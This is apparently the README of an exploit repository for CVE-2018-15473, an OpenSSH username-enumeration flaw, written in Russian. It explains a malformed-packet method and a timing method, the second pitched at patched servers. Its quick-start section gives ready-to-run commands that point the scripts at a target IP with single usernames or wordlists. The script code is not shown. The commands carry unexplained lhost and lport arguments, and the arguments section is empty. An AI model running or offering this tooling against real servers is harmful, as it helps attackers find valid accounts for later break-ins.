CVE-2018-15473: Перебор имен пользователей OpenSSH

OpenSSH до версии 7.7 позволяет удаленным злоумышленникам перебирать действительные имена пользователей, отправляя некорректные запросы аутентификации и анализируя различные ответы сервера.

Подробности

Скрипты

exploit.py — Некорректный пакет (быстрый, многопоточный)

Отправляет усеченный SSH_MSG_USERAUTH_REQUEST (логическое поле удалено). Недействительные пользователи вызывают ранний выход (USERAUTH_FAILURE), действительные пользователи приводят к отключению сервера.

exploit_timing.py — Атака по времени (медленнее, работает на пропатченных серверах)

Отправляет очень длинный пароль (~100 КБ) через аутентификацию по паролю. Действительные пользователи занимают больше времени, потому что сервер хэширует пароль перед отклонением, тогда как недействительные пользователи отклоняются сразу. Выполняется последовательно и автоматически калибрует порог.

Используйте это, когда exploit.py выдает ложные срабатывания (пропатченные серверы).

Быстрый старт

git clone <this-repo-url>
cd cve-2018-15473

pip install -r requirements.txt

# Malformed packet (try this first)
python3 exploit.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit.py <target_ip> 22 <lhost> <lport> -w usernames.txt -t 8

# Timing attack (fallback for patched servers)
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -w usernames.txt

Аргументы (оба скрипта)

Ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2018-15473
• https://www.exploit-db.com/exploits/45233
• https://github.com/epi052/cve-2018-15473
• https://github.com/Rhynorater/CVE-2018-15473-Exploit